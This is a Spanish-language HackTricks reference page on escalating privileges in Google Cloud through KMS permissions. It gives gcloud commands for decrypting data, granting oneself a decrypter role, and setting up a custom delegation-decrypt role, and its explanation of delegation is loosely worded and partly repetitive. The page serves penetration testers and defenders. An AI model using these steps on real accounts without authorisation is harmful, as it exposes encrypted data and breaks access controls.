GCP - KMS Privesc

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

KMS

Información sobre KMS:

pageGCP - KMS Enum

Ten en cuenta que en KMS los permisos no solo se heredan de Organizaciones, Carpetas y Proyectos, sino también de Keyrings.

cloudkms.cryptoKeyVersions.useToDecrypt

Puedes usar este permiso para descifrar información con la clave sobre la que tienes este permiso.

gcloud kms decrypt \
--location=[LOCATION] \
--keyring=[KEYRING_NAME] \
--key=[KEY_NAME] \
--version=[KEY_VERSION] \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]

cloudkms.cryptoKeys.setIamPolicy

Un atacante con este permiso podría darse permisos para usar la clave para desencriptar información.

gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
--keyring [KEYRING_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter

cloudkms.cryptoKeyVersions.useToDecryptViaDelegation

Aquí hay un desglose conceptual de cómo funciona esta delegación:

  1. Service Account A tiene acceso directo para desencriptar usando una llave específica en KMS.

  2. Service Account B recibe el permiso useToDecryptViaDelegation. Esto le permite solicitar a KMS desencriptar datos en nombre de Service Account A.

El uso de este permiso es implícito en la forma en que el servicio KMS verifica los permisos cuando se realiza una solicitud de desencriptación.

Cuando haces una solicitud de desencriptación estándar usando la API de Google Cloud KMS (en Python u otro lenguaje), el servicio verifica si la service account solicitante tiene los permisos necesarios. Si la solicitud la realiza una service account con el permiso useToDecryptViaDelegation, KMS verifica si esta cuenta está autorizada para solicitar la desencriptación en nombre de la entidad que posee la llave.

Configuración para la Delegación

  1. Definir el Rol Personalizado: Crea un archivo YAML (por ejemplo, custom_role.yaml) que defina el rol personalizado. Este archivo debe incluir el permiso cloudkms.cryptoKeyVersions.useToDecryptViaDelegation. Aquí hay un ejemplo de cómo podría lucir este archivo:

title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
  1. Crear el Rol Personalizado Usando la CLI de gcloud: Utiliza el siguiente comando para crear el rol personalizado en tu proyecto de Google Cloud:

gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml

Reemplaza [YOUR_PROJECT_ID] con el ID de tu proyecto de Google Cloud.

  1. Asignar el Rol Personalizado a una Cuenta de Servicio: Asigna tu rol personalizado a una cuenta de servicio que utilizará este permiso. Utiliza el siguiente comando:

# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"

# Give this permission over the project to be able to impersonate any SA
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"

Reemplace [YOUR_PROJECT_ID] y [SERVICE_ACCOUNT_EMAIL] con su ID de proyecto y el correo electrónico de la cuenta de servicio, respectivamente.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización